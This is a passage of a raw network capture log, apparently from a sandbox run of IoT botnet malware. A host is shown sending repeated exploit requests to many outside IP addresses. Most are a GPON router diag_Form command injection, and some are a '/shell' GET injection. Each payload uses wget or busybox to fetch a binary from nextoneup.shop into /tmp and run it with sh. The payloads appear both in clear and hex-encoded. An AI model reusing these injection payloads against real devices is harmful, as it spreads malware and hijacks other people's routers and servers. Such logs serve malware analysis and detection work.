font-size: 1.75em; border-bottom: 2px solid #000;
Apr 14, 2024 04:00:30.644649982 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #3C6EB4; font-size:
Apr 14, 2024 04:00:30.644687891 CEST	1286	IN	Data Raw: 20 20 20 20 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: <h3>The page you are looking for is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on y

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.13	36516	172.98.167.125	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.671370983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:30.907557964 CEST	442	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:30 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.13	57910	220.87.17.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.744788885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.144309998 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:32.104309082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.992302895 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:37.736356974 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.416287899 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.520246029 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.264166117 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.13	43566	213.32.98.93	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.752645016 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.13	32998	184.26.16.67	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.767283916 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:31.105484962 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:30 GMT Date: Sun, 14 Apr 2024 02:00:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 65 32 38 33 34 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 30 26 23 34 36 3b 33 30 35 34 65 34 31 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 65 32 38 33 34 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 30 26 23 34 36 3b 33 30 35 34 65 34 31 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5e283417.1713060030.3054e411<P>https://errors.edgesuite.net/9.5e283417.1713060030.3054e411</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.13	43656	52.77.163.67	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.793943882 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.13	2375	38.55.221.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:30.802717924 CEST	1	IN	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.13	50478	37.103.133.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.917912960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.13	48978	2.209.196.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.917951107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.13	50358	2.91.202.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.917956114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.13	41214	94.41.210.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.917979002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.13	58330	118.54.214.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.917998075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.13	45778	118.188.59.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.917998075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.13	40606	79.27.1.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918026924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.13	59010	109.138.38.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918040037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.13	40410	109.76.34.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918066025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.13	48008	178.205.18.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918093920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.13	38078	212.63.45.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918095112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.13	53846	118.61.41.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918145895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.13	36752	212.159.216.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918154001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.13	56994	117.79.144.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918174028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.13	38180	79.144.80.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918239117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.13	44800	42.123.169.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918239117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.13	38190	212.138.182.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918247938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.13	37298	148.154.22.238	443

Timestamp	Bytes transferred	Direction	Data
